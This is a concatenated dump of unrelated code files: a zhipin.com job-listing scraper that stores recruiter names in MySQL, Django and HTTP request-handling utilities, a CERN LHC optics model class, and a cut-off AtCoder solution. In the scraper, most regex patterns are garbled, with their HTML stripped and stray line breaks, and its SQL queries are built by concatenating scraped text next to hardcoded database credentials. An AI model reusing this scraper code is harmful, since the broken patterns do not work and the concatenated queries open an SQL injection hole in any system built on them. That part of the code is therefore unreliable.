exit()\r\nif city_name == \"\":\r\n base_url = \"https://www.zhipin.com/c100010000/\"\r\nelse:\r\n base_url = \"https://www.zhipin.com/c\" + city_code.get(city_name) + \"/\"\r\n# job_name = input(\"输入职位: \")\r\njob_name = \"运维\"\r\n############################################################################################################\r\nfor page in range(1, 11):\r\n para = {\"query\": job_name,\r\n \"page\": page}\r\n html = requests.get(url=base_url, headers=header, params=para)\r\n############################################################################################################)\r\n if html.status_code != 200:\r\n print(\"Error:Not 200\")\r\n exit()\r\n if \"为了您的账号安全,我们需要在执行操作之前验证您的身份,请输入验证码\" in html.text:\r\n print(html.url)\r\n n = input(\"解决验证码问题? 1 or 2: \")\r\n if n == 1:\r\n html = requests.get(url=base_url, headers=header, params=para)\r\n else:\r\n continue\r\n temp_url=\"https://www.zhipin.com/\"\r\n temp=re.compile('.*?(.*?)'), destination_html.text)[0]})\r\n source.update({\"salary\": re.findall('(.*?).*?', destination_html.text)[0]})\r\n source.update({\"company\": re.findall('h3.*?title.*?>(.*?)', destination_html.text)[0]})\r\n source.update({\"city\": re.findall('

城市:(.*?)<', destination_html.text)[0]})\r\n source.update({\"express\": re.findall('

.*?经验:(.*?)<', destination_html.text)[0]})\r\n source.update({\"education\": re.findall('

.*?学历:(.*?)<', destination_html.text)[0]})\r\n temp_source = re.compile('(.*?).*?

', re.S)\r\n source.update({\"personnel\": re.findall(temp_source, destination_html.text)[0]})\r\n source.update({\"release_time\": re.findall('(.*?)', destination_html.text)[0]})\r\n try:\r\n source.update({\"scale\": re.findall('

.*?vline.*?(.*?)

', destination_html.text)[0]})\r\n except:\r\n source.update({\"scale\":re.findall('

(.*?)

',destination_html.text)[0]})\r\n try:\r\n source.update({\"type\": re.findall('

.*?vline.*?vline.*?href.*?\">(.*?)

', destination_html.text)[0]})\r\n except:\r\n source.update({\"type\":\"None\"})\r\n source.update({\"name\": re.findall('(.*?)', destination_html.text)[0]})\r\n temp_import_message = re.findall('职位描述(.*?)团队介绍', destination_html.text)\r\n if \"应届\" in temp_import_message:\r\n source.update({\"graduat\": \"是\"})\r\n else: #\r\n source.update({\"graduat\": \"否\"})\r\n############################################################################################################\r\n query_code = '来源=\"' + source.get(\"source\") + \\\r\n '\" and 公司=\"' + source.get('company') + \\\r\n '\" and 城市=\"' + source.get('city') + \\\r\n '\" and 职位=\"' + source.get(\"job\") + \\\r\n '\" and 薪资=\"' + source.get('salary') + \\\r\n '\" and 工作经验=\"' + source.get('express') + \\\r\n '\" and 学历=\"' + source.get(\"education\") + \\\r\n '\" and 公司规模=\"' + source.get('scale') + \\\r\n '\" and 公司行业=\"' + source.get('type') + \\\r\n '\" and 招聘人员=\"' + source.get('personnel') + \\\r\n '\" and 招聘人员名字=\"' + source.get(\"name\") + \\\r\n '\" and 是否含有应届生字段=\"' + source.get('graduat') + \\\r\n '\" and 发布时间=\"' + source.get(\"release_time\").split(\"于\")[1].replace(\" \", \"/\") + \\\r\n '\" and 详细网址=\"' + source.get(\"target_url\") + '\"'\r\n###########################################################################################################\r\n # print(query_code)\r\n connect = pymysql.connect(host='localhost', port=3306, user='Crawler', passwd='Crawler', db='crawler')\r\n cursor = connect.cursor()\r\n cursor.execute('select * from 运维工程师 where ' + query_code)\r\n mysql_temp = cursor.fetchall()\r\n connect.commit()\r\n cursor.close()\r\n connect.close()\r\n############################################################################################################\r\n if mysql_temp:\r\n continue\r\n else:\r\n query_code = '来源=\"' + source.get(\"source\") + \\\r\n '\" , 公司=\"' + source.get('company') + \\\r\n '\" , 城市=\"' + source.get('city') + \\\r\n '\" , 职位=\"' + source.get(\"job\") + \\\r\n '\" , 薪资=\"' + source.get('salary') + \\\r\n '\" , 工作经验=\"' + source.get('express') + \\\r\n '\" , 学历=\"' + source.get(\"education\") + \\\r\n '\" , 公司规模=\"' + source.get('scale') + \\\r\n '\" , 公司行业=\"' + source.get('type') + \\\r\n '\" , 招聘人员=\"' + source.get('personnel') + \\\r\n '\" , 招聘人员名字=\"' + source.get(\"name\") + \\\r\n '\" , 是否含有应届生字段=\"' + source.get('graduat') + \\\r\n '\" , 发布时间=\"' + source.get(\"release_time\").split(\"于\")[1].replace(\" \", \"/\") + \\\r\n '\" , 详细网址=\"' + source.get(\"target_url\") + '\"'\r\n connect = pymysql.connect(host='localhost', port=3306, user='Crawler', passwd='Crawler', db='crawler')\r\n cursor = connect.cursor()\r\n try:\r\n cursor.execute('insert into 运维工程师 set ' + query_code)\r\n connect.commit()\r\n except:\r\n connect.rollback()\r\n finally:\r\n cursor.close()\r\n connect.close()","sub_path":"main1.py","file_name":"main1.py","file_ext":"py","file_size_in_byte":8924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"375946373","text":"# -*- coding: utf-8 -*-\n\nfrom django.core.management.base import BaseCommand\n\nfrom notifyme.libs.notification import last_episode\n\n\nclass Command(BaseCommand):\n help = 'Notification about an events'\n\n def add_arguments(self, parser):\n parser.add_argument('--lf', action='store_true', default=False)\n\n def handle(self, *args, **options):\n if options['lf']:\n try:\n last_episode()\n except KeyboardInterrupt:\n print()\n","sub_path":"notifyme/apps/notify/management/commands/notifyme.py","file_name":"notifyme.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"624575652","text":"'''A \"request\" stores HTTP GET request parameters and/or HTTP POST form\n values.'''\n\n# ~license~\n#- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nfrom appy.model.utils import Object\n# Check https://stackoverflow.com/questions/4233218/python-how-do-i-get-key-\\\n# value-pairs-from-the-basehttprequesthandler-http-post-h\n\n#- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nclass Request(Object):\n '''Represents data coming from a HTTP request'''\n\n @classmethod\n def create(class_, handler):\n '''Analyses various elements from an incoming HTTP request (GET\n parameters, POST form data, cookies) and creates a Request object for\n storing them. If no element is found, an empty Request is created.'''\n # Create the Request instance\n req = Request()\n # Get parameters from a GET request if any\n parts = handler.parts\n last = parts[-1] if parts else None\n if last and ('?' in last):\n lastPart, params = last.split('?', 1)\n req.parse(params)\n # As a side-effect, remove parameters from the last part\n parts[-1] = lastPart\n # Get POST form data if any\n contentType = handler.headers['Content-Type']\n if contentType:\n # Get the request length and content\n length = int(handler.headers['Content-Length'])\n content = handler.rfile.read(length).decode('utf-8')\n # Several content encodings are possible\n if contentType == 'application/x-www-form-urlencoded':\n # Form elements are encoded in a way similar to GET parameters\n req.parse(content)\n elif contentType.startswith('multipart/form-data'):\n # Form elements are encoded in a \"multi-part\" message, whose\n # elements are separated by some boundary text.\n boundary = contentType[contentType.index('boundary=')+9:]\n req.parseMultiPart(content, boundary)\n # Get Cookies\n cookieString = handler.headers['Cookie']\n if cookieString is not None:\n # Cookies' (name, value) pairs are separated by semicolons\n req.parse(cookieString, sep=';')\n return req\n\n def parse(self, params, sep='&'):\n '''Parse GET/POST p_param(eters) and add one attribute per parameter'''\n for param in params.split(sep):\n # Every param is of the form = or simply \n if '=' in param:\n # =\n name, value = param.split('=', 1)\n else:\n # \n name = param\n value = None\n setattr(self, name.strip(), value)\n\n def parseMultiPart(self, content, boundary):\n '''Parses multi-part form content and add to p_self one attribute per\n form element.'''\n for element in content.split(boundary):\n if not element: continue\n # Find the element name\n i = element.find('name=\"')\n if i == -1: continue\n nameStart = i + 6\n nameEnd = element.find('\"', nameStart)\n name = element[nameStart:nameEnd]\n # Find the element value\n value = element[nameEnd+1:]\n if value.endswith('--'):\n value = value[:-2]\n setattr(self, name.strip(), value.strip())\n\n def patchFromTemplate(self, o):\n '''p_o is a temp object that is going to be edited via px \"edit\". If a\n template object must be used to pre-fill the web form, patch the\n request with the values retrieved on this template object.'''\n # This has sense only for temporary objects\n if not o.isTemp(): return\n id = self.template\n if not id: return\n template = o.getObject(id)\n # Some fields may be excluded from the copy\n toExclude = o.class_.getCreateExclude(o)\n # Browse fields\n for field in o.getFields('edit'):\n if field.name in toExclude: continue\n field.setRequestValue(template)\n#- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n","sub_path":"appy/server/request.py","file_name":"request.py","file_ext":"py","file_size_in_byte":4258,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"793607","text":"import datetime\nimport json\n\nfrom Core.models import FicheTravail\nfrom Core.auth import login_required\nfrom django.db.models import Q\nfrom django.http import HttpResponse\nfrom django.shortcuts import render\nfrom workdays import workday\n\nfrom Core.auth import need_permissions\n\nfrom Core.models import Fournit\n\n\n@login_required(login_url='login')\n@need_permissions('access_report')\ndef main(request):\n get_chart_data(request)\n return render(request, \"Report/report.html\", {})\n\n\n@login_required(login_url='login', ajax=True)\ndef get_chart_data(request):\n if request.is_ajax() and request.method == 'POST':\n data = {\n 'bn': [],\n 'ptype': [],\n 'pweek': []\n }\n\n # Build buisness numbers\n cards = FicheTravail.objects.filter(Q(cloture=True)).order_by('date_realisation')\n\n ordered_cards, dicpos = [], {}\n for val in cards:\n k = val.date_realisation\n\n if k in dicpos:\n ordered_cards[dicpos[k]].append(val)\n else:\n ordered_cards.append([val])\n dicpos[k] = len(dicpos)\n\n for ocards in ordered_cards:\n sum = 0\n\n for ocard in ocards:\n for tache in ocard.tache_set.all():\n for piece in tache.piece_set.all():\n f = Fournit.objects.filter(Q(piece__id=piece.id)).first()\n sum += (piece.prix_vente - f.prix)\n\n data['bn'].append([int(ocards[0].date_realisation) * 1000, sum])\n\n # Build fc type\n cards = FicheTravail.objects.filter(Q(cloture=True)).order_by('type')\n total = len(cards)\n\n ordered_cards, dicpos = [], {}\n for val in cards:\n k = val.type\n\n if k in dicpos:\n ordered_cards[dicpos[k]].append(val)\n else:\n ordered_cards.append([val])\n dicpos[k] = len(dicpos)\n\n for ocards in ordered_cards:\n l = len(ocards)\n data['ptype'].append({\n 'name': ocards[0].type,\n 'y': (total / l)\n })\n\n # Build productivity numbers\n cards = FicheTravail.objects.filter(Q(cloture=True)).order_by('date_realisation')\n\n if len(cards) > 0:\n start_date = cards[0].date_realisation\n end_date = cards[len(cards) - 1].date_realisation\n\n start_date = datetime.datetime.fromtimestamp(start_date)\n end_date = datetime.datetime.fromtimestamp(end_date)\n\n # Calculate number of days in starting and ending week\n start_week_days = min(start_date.weekday(), 4) + 1\n end_week_days = min(end_date.weekday(), 4) + 1\n\n # Calculate number of weeks between the dates\n no_of_weeks = end_date.isocalendar()[1] - start_date.isocalendar()[1]\n working_days = (5 * no_of_weeks) + end_week_days - start_week_days\n\n # include the starting day if it is weekday\n if start_date.weekday() < 5:\n working_days += 1\n\n total_hours = working_days * 7.60\n sum = 0\n for ocard in cards:\n for tache in ocard.tache_set.all():\n sum += tache.temps\n\n sum /= 3600\n\n data['pweek'].append({\n 'name': \"Temps travaillé\",\n 'y': ((sum / total_hours) * 100)\n })\n\n data['pweek'].append({\n 'name': \"Autre\",\n 'y': 100 - ((sum / total_hours) * 100)\n })\n\n return HttpResponse(json.dumps(data))\n else:\n return HttpResponse(status=400)\n","sub_path":"app/Report/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"374261377","text":"\nfrom django.http import HttpResponse\n\nimport json\n\ndef send_file(filename):\n\twith open('static/' + filename) as fin:\n\t\treturn HttpResponse(fin.read())\n\ndef index(request):\n\treturn send_file('demo.html')\n\ndef search(request):\n\tobj = [\n\t\t{'title': 'Eastern Europe',\n\t\t 'description':'nasty stuff',\n\t\t 'itinerary':[\n\t\t \t{'name': 'Berlin'},\n\t\t \t{'name': 'Prague'},\n\t\t \t{'name': 'Vienna'},\n\t\t ]},\n\n\t\t{'title': 'East Coast (US)',\n\t\t 'description':'nasty stuff',\n\t\t 'itinerary':[\n\t\t \t{'name': 'Berlin'},\n\t\t \t{'name': 'Prague'},\n\t\t \t{'name': 'Vienna'},\n\t\t ]},\n\n\t]\n\n\treturn HttpResponse(json.dumps(obj), mimetype=\"application/json\")\n","sub_path":"server/mysite/mysite/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"418149242","text":"\"\"\"\nFor a given sorted array (ascending order) and a target number, \nfind the first index of this number in O(log n) time complexity.\n\nIf the target number does not exist in the array, return -1.\n\nIf the array is [1, 2, 3, 3, 4, 5, 10], for given target 3, return 2.\n\n\"\"\"\n\nclass Solution:\n # @param nums: The integer array\n # @param target: Target number to find\n # @return the first position of target in nums, position start from 0 \n def binarySearch(self, nums, target):\n \tif not nums:\n \t\treturn -1\n \tn = len(nums)\n \tl, r = 0, n-1\n\n \twhile l+1 14 L or R of IP\n\n LHC_IPS = (\"1\", \"2\", \"5\", \"8\")\n NORMAL_IP_BPMS = \"BPMSW.1{side}{ip}.B{beam}\"\n DOROS_IP_BPMS = \"LHC.BPM.1{side}{ip}.B{beam}_DOROS\"\n\n @staticmethod\n def get_parameters():\n params = super(Lhc, Lhc).get_parameters()\n params.add_parameter(\n name=\"beam\", type=int, choices=(1, 2), required=True, help=\"Beam to use.\"\n )\n params.add_parameter(\n name=\"year\",\n type=str,\n required=True,\n choices=(\"2012\", \"2015\", \"2016\", \"2017\", \"2018\", \"2022\", \"hllhc1.3\"),\n help=\"Year of the optics (or hllhc1.x version).\",\n )\n params.add_parameter(\n name=\"ats\",\n action=\"store_true\",\n help=\"Force use of ATS macros and knobs for years which are not ATS by default.\",\n )\n return params\n\n def __init__(self, *args, **kwargs):\n parser = EntryPoint(self.get_parameters(), strict=True)\n opt = parser.parse(*args, **kwargs)\n super().__init__(opt)\n self.correctors_dir = \"2012\"\n self.year = opt.year\n self.ats = opt.ats\n if self.year == \"hllhc1.3\":\n self.correctors_dir = \"hllhc1.3\"\n self.beam = opt.beam\n beam_to_beam_direction = {1: 1, 2: -1}\n self.beam_direction = beam_to_beam_direction[self.beam]\n self.verify_object()\n\n def verify_object(self) -> None: # TODO: Maybe more checks?\n \"\"\"\n Verifies if everything is defined which should be defined.\n Will Raise an ``AcceleratorDefinitionError`` if one of the checks is invalid.\n \"\"\"\n LOGGER.debug(\"Accelerator class verification\")\n _ = self.beam\n\n if self.model_dir is None and self.xing is None:\n raise AcceleratorDefinitionError(\"Crossing on or off not set.\")\n\n if self.excitation is None:\n raise AcceleratorDefinitionError(\"Excitation mode not set.\")\n if (self.excitation != AccExcitationMode.FREE) and (self.drv_tunes is None):\n raise AcceleratorDefinitionError(\"An excitation mode was given but driven tunes are not set.\")\n\n # TODO: write more output prints\n LOGGER.debug(\"... verification passed. \\nSome information about the accelerator:\")\n LOGGER.debug(f\"Class name {self.__class__.__name__}\")\n LOGGER.debug(f\"Beam {self.beam}\")\n LOGGER.debug(f\"Beam direction {self.beam_direction}\")\n if self.modifiers:\n LOGGER.debug(f\"Modifiers {', '.join([str(m) for m in self.modifiers])}\")\n\n @property\n def beam(self) -> int:\n if self._beam is None:\n raise AcceleratorDefinitionError(\n \"The accelerator definition is incomplete, beam \"\n \"has to be specified (--beam option missing?).\"\n )\n return self._beam\n\n @beam.setter\n def beam(self, value) -> None:\n if value not in (1, 2):\n raise AcceleratorDefinitionError(\"Beam parameter has to be one of (1, 2)\")\n self._beam = value\n\n @staticmethod\n def get_lhc_error_dir() -> Path:\n return LHC_DIR / \"systematic_errors\"\n\n def get_variables(self, frm: float = None, to: float = None, classes: Iterable[str] = None):\n correctors_dir = LHC_DIR / \"2012\" / \"correctors\"\n all_vars_by_class = _merge_jsons(\n correctors_dir / f\"correctors_b{self.beam}\" / \"beta_correctors.json\",\n correctors_dir / f\"correctors_b{self.beam}\" / \"coupling_correctors.json\",\n self._get_triplet_correctors_file(),\n )\n if classes is None:\n classes = all_vars_by_class.keys()\n\n known_classes = [c for c in classes if c in all_vars_by_class]\n unknown_classes = [c for c in classes if c not in all_vars_by_class]\n if unknown_classes:\n LOGGER.debug(\"The following classes are not found as corrector/variable classes and \"\n f\"are assumed to be the variable names directly instead:\\n{str(unknown_classes)}\")\n\n vars = list(set(_flatten_list(all_vars_by_class[corr_cls] for corr_cls in known_classes)))\n vars = vars + unknown_classes\n\n # Sort variables by S (nice for comparing different files)\n return self.sort_variables_by_location(vars, frm, to)\n\n def sort_variables_by_location(self, variables: Iterable[str], frm: float = None, to: str = None) -> List[str]:\n \"\"\" Sorts the variables by location and filters them between `frm` and `to`.\n If `frm` is larger than `to` it loops back around to the start the accelerator.\n This is a useful function for the LHC that's why it is \"public\"\n but it is not part of the Accelerator-Class Interface.\n\n Args:\n variables (Iterable): Names of variables to sort\n frm (float): S-position to filter from\n to (float): S-position to filter to\n \"\"\"\n elems_matrix = tfs.read(self._get_corrector_elems()).sort_values(\"S\")\n if frm is not None and to is not None:\n if frm > to:\n elems_matrix = elems_matrix[(elems_matrix.S >= frm) | (elems_matrix.S <= to)]\n else:\n elems_matrix = elems_matrix[(elems_matrix.S >= frm) & (elems_matrix.S <= to)]\n elif frm is not None:\n elems_matrix = elems_matrix[elems_matrix.S >= frm]\n elif to is not None:\n elems_matrix = elems_matrix[elems_matrix.S <= to]\n\n # create single list (some entries might contain multiple variable names, comma separated, e.g. \"kqx.l2,ktqx2.l2\")\n vars_by_position = _remove_dups_keep_order(\n _flatten_list([raw_vars.split(\",\") for raw_vars in elems_matrix.loc[:, \"VARS\"]])\n )\n sorted_vars = _list_intersect_keep_order(vars_by_position, variables)\n\n # Check if no filtering but only sorting was required\n if (frm is None) and (to is None) and (len(sorted_vars) != len(variables)):\n unknown_vars = list(sorted(var for var in variables if var not in sorted_vars))\n LOGGER.debug(f\"The following variables do not have a location: {str(unknown_vars)}\")\n sorted_vars = sorted_vars + unknown_vars\n return sorted_vars\n\n def get_ips(self) -> Iterator[Tuple[str]]:\n \"\"\"\n Returns an iterable with this accelerator's IPs.\n\n Returns:\n An iterator returning `tuples` with:\n (``ip name``, ``left BPM name``, ``right BPM name``)\n \"\"\"\n for ip in Lhc.LHC_IPS:\n yield (\n f\"IP{ip}\",\n Lhc.NORMAL_IP_BPMS.format(side=\"L\", ip=ip, beam=self.beam),\n Lhc.NORMAL_IP_BPMS.format(side=\"R\", ip=ip, beam=self.beam),\n )\n yield (\n f\"IP{ip}_DOROS\",\n Lhc.DOROS_IP_BPMS.format(side=\"L\", ip=ip, beam=self.beam),\n Lhc.DOROS_IP_BPMS.format(side=\"R\", ip=ip, beam=self.beam),\n )\n\n def log_status(self) -> None:\n LOGGER.info(f\" model dir = {self.model_dir}\")\n LOGGER.info(f\"Natural Tune X [{self.nat_tunes[0]:10.3f}]\")\n LOGGER.info(f\"Natural Tune Y [{self.nat_tunes[1]:10.3f}]\")\n LOGGER.info(\n f\"Best Knowledge Model \"\n f\"[{'NO' if self.model_best_knowledge is None else 'OK':>10s}]\"\n )\n\n if self.excitation == AccExcitationMode.FREE:\n LOGGER.info(f\"Excitation [{'NO':>10s}]\")\n return\n LOGGER.info(\n f\"Excitation \"\n f\"[{'ACD' if self.excitation == AccExcitationMode.ACD else 'ADT':>10s}]\"\n )\n LOGGER.info(f\"> Driven Tune X [{self.drv_tunes[0]:10.3f}]\")\n LOGGER.info(f\"> Driven Tune Y [{self.drv_tunes[1]:10.3f}]\")\n\n def load_main_seq_madx(self) -> str:\n try:\n return _get_call_main_for_year(self.year)\n except AttributeError:\n raise AcceleratorDefinitionError(\n \"The accelerator definition is incomplete, mode \"\n \"has to be specified (--lhcmode option missing?).\"\n )\n\n # Private Methods ##########################################################\n\n def _get_triplet_correctors_file(self) -> Path:\n correctors_dir = LHC_DIR / self.correctors_dir / \"correctors\"\n return correctors_dir / \"triplet_correctors.json\"\n\n def _get_corrector_elems(self) -> Path:\n correctors_dir = LHC_DIR / self.correctors_dir / \"correctors\"\n return correctors_dir / f\"corrector_elems_b{self.beam}.tfs\"\n\n def get_exciter_bpm(self, plane: str, commonbpms: List[str]):\n beam = self.beam\n adt = \"H.C\" if plane == \"X\" else \"V.B\"\n l_r = \"L\" if ((beam == 1) != (plane == \"Y\")) else \"R\"\n a_b = \"B\" if beam == 1 else \"A\"\n if self.excitation == AccExcitationMode.ACD:\n try:\n return (\n _is_one_of_in([f\"BPMY{a_b}.6L4.B{beam}\", f\"BPM.7L4.B{beam}\"], commonbpms),\n f\"MKQA.6L4.B{beam}\",\n )\n except KeyError as e:\n raise KeyError(\"AC-Dipole BPM not found in the common BPMs. Maybe cleaned?\") from e\n if self.excitation == AccExcitationMode.ADT:\n try:\n return (\n _is_one_of_in([f\"BPMWA.B5{l_r}4.B{beam}\", f\"BPMWA.A5{l_r}4.B{beam}\"], commonbpms),\n f\"ADTK{adt}5{l_r}4.B{beam}\",\n )\n except KeyError as e:\n raise KeyError(\"ADT BPM not found in the common BPMs. Maybe cleaned?\") from e\n return None\n\n def important_phase_advances(self) -> List[List[str]]:\n if self.beam == 2:\n return [[\"MKD.O5R6.B2\", \"TCTPH.4R1.B2\"], [\"MKD.O5R6.B2\", \"TCTPH.4R5.B2\"]]\n if self.beam == 1:\n return [[\"MKD.O5L6.B1\", \"TCTPH.4L1.B1\"], [\"MKD.O5L6.B1\", \"TCTPH.4L5.B1\"]]\n\n def get_synch_BPMs(self, index):\n # expect passing index.to_numpy()\n if self.beam == 1:\n return [i in index for i in self.model.loc[\"BPMSW.33L2.B1\":].index]\n elif self.beam == 2:\n return [i in index for i in self.model.loc[\"BPMSW.33R8.B2\":].index]\n\n def _get_madx_script_info_comments(self) -> str:\n info_comments = (\n f'title, \"LHC Model created by omc3\";\\n'\n f\"! Model directory: {Path(self.model_dir).absolute()}\\n\"\n f\"! Natural Tune X [{self.nat_tunes[0]:10.3f}]\\n\"\n f\"! Natural Tune Y [{self.nat_tunes[1]:10.3f}]\\n\"\n f\"! Best Knowledge: [{'NO' if self.model_best_knowledge is None else 'OK':>10s}]\\n\"\n )\n if self.excitation == AccExcitationMode.FREE:\n info_comments += f\"! Excitation [{'NO':>10s}]\\n\\n\"\n return info_comments\n else:\n info_comments += (\n f\"! Excitation [{'ACD' if self.excitation == AccExcitationMode.ACD else 'ADT':>10s}]\\n\"\n f\"! > Driven Tune X [{self.drv_tunes[0]:10.3f}]\\n\"\n f\"! > Driven Tune Y [{self.drv_tunes[1]:10.3f}]\\n\\n\"\n )\n return info_comments\n\n def get_base_madx_script(self, best_knowledge: bool = False) -> str:\n ats_md = False\n high_beta = False\n madx_script = (\n f\"{self._get_madx_script_info_comments()}\"\n f\"! ----- Calling Sequence and Optics -----\\n\"\n f\"call, file = '{self.model_dir / MACROS_DIR / GENERAL_MACROS}';\\n\"\n f\"call, file = '{self.model_dir / MACROS_DIR / LHC_MACROS}';\\n\"\n )\n if self._uses_run3_macros():\n LOGGER.debug(\"According to the optics year, Run 3 versions of the macros will be used\")\n madx_script += (\n f\"call, file = '{self.model_dir / MACROS_DIR / LHC_MACROS_RUN3}';\\n\"\n )\n\n madx_script += (\n f\"{self.load_main_seq_madx()}\\n\"\n f\"exec, define_nominal_beams();\\n\"\n )\n if self.modifiers is not None:\n madx_script += \"\".join(\n f\"call, file = '{self.model_dir / modifier}'; {MODIFIER_TAG}\\n\"\n for modifier in self.modifiers\n )\n madx_script += (\n f\"\\n! ----- Defining Configuration Specifics -----\\n\"\n f\"exec, cycle_sequences();\\n\"\n f\"xing_angles = {'1' if self.xing else '0'};\\n\"\n f\"if(xing_angles==1){{\\n\"\n f\" exec, set_crossing_scheme_ON();\\n\"\n f\"}}else{{\\n\"\n f\" exec, set_default_crossing_scheme();\\n\"\n f\"}}\\n\"\n f\"use, sequence = LHCB{self.beam};\\n\"\n f\"option, echo;\\n\"\n )\n if best_knowledge:\n # madx_script += f\"exec, load_average_error_table({self.energy}, {self.beam});\\n\"\n madx_script += (\n f\"\\n! ----- For Best Knowledge Model -----\\n\"\n f\"readmytable, file = '{self.model_dir / B2_ERRORS_TFS}', table=errtab;\\n\"\n f\"seterr, table=errtab;\\n\"\n f\"call, file = '{self.model_dir / B2_SETTINGS_MADX}';\\n\"\n )\n if high_beta:\n madx_script += \"exec, high_beta_matcher();\\n\"\n\n madx_script += f\"\\n! ----- Matching Knobs and Output Files -----\\n\"\n if self._uses_ats_knobs():\n LOGGER.debug(\"According to the optics year or the --ats flag being provided, ATS macros and knobs will be used\")\n madx_script += f\"exec, match_tunes_ats({self.nat_tunes[0]}, {self.nat_tunes[1]}, {self.beam});\\n\"\n madx_script += f\"exec, coupling_knob_ats({self.beam});\\n\"\n else:\n madx_script += f\"exec, match_tunes({self.nat_tunes[0]}, {self.nat_tunes[1]}, {self.beam});\\n\"\n madx_script += f\"exec, coupling_knob({self.beam});\\n\"\n \n if ats_md:\n madx_script += \"exec, full_response_ats();\\n\"\n\n return madx_script\n\n def get_update_correction_script(self, outpath: Union[Path, str], corr_files: Sequence[Union[Path, str]]) -> str:\n madx_script = self.get_base_madx_script()\n for corr_file in corr_files:\n madx_script += f\"call, file = '{str(corr_file)}';\\n\"\n madx_script += f\"exec, do_twiss_elements(LHCB{self.beam}, '{str(outpath)}', {self.dpp});\\n\"\n return madx_script\n\n def _uses_ats_knobs(self) -> bool:\n \"\"\"\n Returns wether the ATS knobs and macros should be used, based on the instance's year.\n If the **--ats** flag was explicitely provided then the returned value will be `True`.\n \"\"\"\n try:\n if self.ats:\n return True\n return 2018 <= int(self.year) <= 2021 # self.year is always a string\n except ValueError: # if a \"hllhc1.x\" version is given\n return False\n\n def _uses_run3_macros(self) -> bool:\n \"\"\"Returns wether the Run 3 macros should be called, based on the instance's year.\"\"\"\n try:\n return int(self.year) >= 2022 # self.year is always a string\n except ValueError: # if a \"hllhc1.x\" year is given\n return False\n\n# General functions ##########################################################\n\n\ndef _get_call_main_for_year(year: str) -> str:\n call_main = f\"call, file = '{_get_file_for_year(year, 'main.seq')}';\\n\"\n if year == \"2012\":\n call_main += f\"call, file = '{LHC_DIR / '2012' / 'install_additional_elements.madx'}';\\n\"\n if year == \"hllhc1.3\":\n call_main += f\"call, file = '{LHC_DIR / 'hllhc1.3' / 'main_update.seq'}';\\n\"\n return call_main\n\n\ndef _get_file_for_year(year: str, filename: str) -> Path:\n return LHC_DIR / year / filename\n\n\ndef _merge_jsons(*files) -> dict:\n full_dict = {}\n for json_file in files:\n with open(json_file, \"r\") as json_data:\n json_dict = json.load(json_data)\n for key in json_dict.keys():\n full_dict[key] = json_dict[key]\n return full_dict\n\n\ndef _flatten_list(my_list: Iterable) -> List:\n return [item for sublist in my_list for item in sublist]\n\n\ndef _remove_dups_keep_order(my_list: List) -> List:\n return list(OrderedDict.fromkeys(my_list))\n\n\ndef _list_intersect_keep_order(primary_list: Iterable, secondary_list: Iterable) -> List:\n return [elem for elem in primary_list if elem in secondary_list]\n\n\ndef _is_one_of_in(bpms_to_find: Sequence[str], bpms: Sequence[str]):\n found_bpms = [bpm for bpm in bpms_to_find if bpm in bpms]\n if len(found_bpms):\n return list(bpms).index(found_bpms[0]), found_bpms[0]\n raise KeyError\n\n\nclass _LhcSegmentMixin:\n def __init__(self):\n self._start = None\n self._end = None\n\n def get_segment_vars(self, classes=None):\n return self.get_variables(frm=self.start.s, to=self.end.s, classes=classes)\n\n def verify_object(self) -> None:\n try:\n self.beam\n except AttributeError:\n raise AcceleratorDefinitionError(\n \"The accelerator definition is incomplete, beam \"\n \"has to be specified (--beam option missing?).\"\n )\n if self.modifiers is None or not len(self.modifiers):\n raise AcceleratorDefinitionError(\n \"The accelerator definition is incomplete, no modifiers could be found.\"\n )\n if self.xing is None:\n raise AcceleratorDefinitionError(\"Crossing on or off not set.\")\n if self.label is None:\n raise AcceleratorDefinitionError(\"Segment label not set.\")\n if self.start is None:\n raise AcceleratorDefinitionError(\"Segment start not set.\")\n if self.end is None:\n raise AcceleratorDefinitionError(\"Segment end not set.\")\n","sub_path":"omc3/model/accelerators/lhc.py","file_name":"lhc.py","file_ext":"py","file_size_in_byte":19812,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"642320468","text":"\n\"\"\"\nhttps://atcoder.jp/contests/abc174/tasks/abc174_f\n参考: https://atcoder.jp/contests/abc174/submissions/15614919\n\n配列Cの中で,ある区間[l, r]にある数の種類を答える.\n\n二つのデータ構造を使って情報を管理する.\n* last_appeared: 各種類の数の,一番右に出現したインデックス\n* bit: 一番右の数である種類の数\n\nクエリの右端の昇順にソートする.Q個のクエリに対して,尺取り法の要領で配列を見ていくことで,\n定数オーダーで走査できる.\n\"\"\"\n\n\nclass BIT:\n # 1-indexed\n def __init__(self, n):\n self.size = n + 1\n self.bit = [0] * self.size\n\n def add(self, i, x):\n \"\"\"Add x to a[i].\"\"\"\n while i < self.size:\n self.bit[i] += x\n i += i & -i\n\n def sumup(self, i):\n \"\"\"Sum a[1]~a[i].\"\"\"\n res = 0\n while i > 0:\n res += self.bit[i]\n i -= i & -i\n return res\n\n def query(self, i, j):\n \"\"\"Sum a[i]~a[j].\"\"\"\n return self.sumup(j) - self.sumup(i - 1)\n\n\nN, Q = map(int, input().split())\nC = list(map(int, input().split()))\nX = [list(map(int, input().split())) for _ in range(Q)]\n\nans = [0] * Q\nlast_appeared = [0] * (N + 1)\nbit = BIT(N + 1)\nrm = 0\nfor i, (l, r) in sorted(enumerate(X), key=lambda x: x[1][1]):\n # 新しくrm~rの区間が追加されるので,そこに出てくる数の右端情報を更新する\n for j in range(rm + 1, r + 1):\n # 位置j-1にある石が既に出てきている場合には,bit(一番右である数の種類数)から引く\n if last_appeared[C[j - 1]] > 0:\n bit.add(last_appeared[C[j - 1]], -1)\n\n # 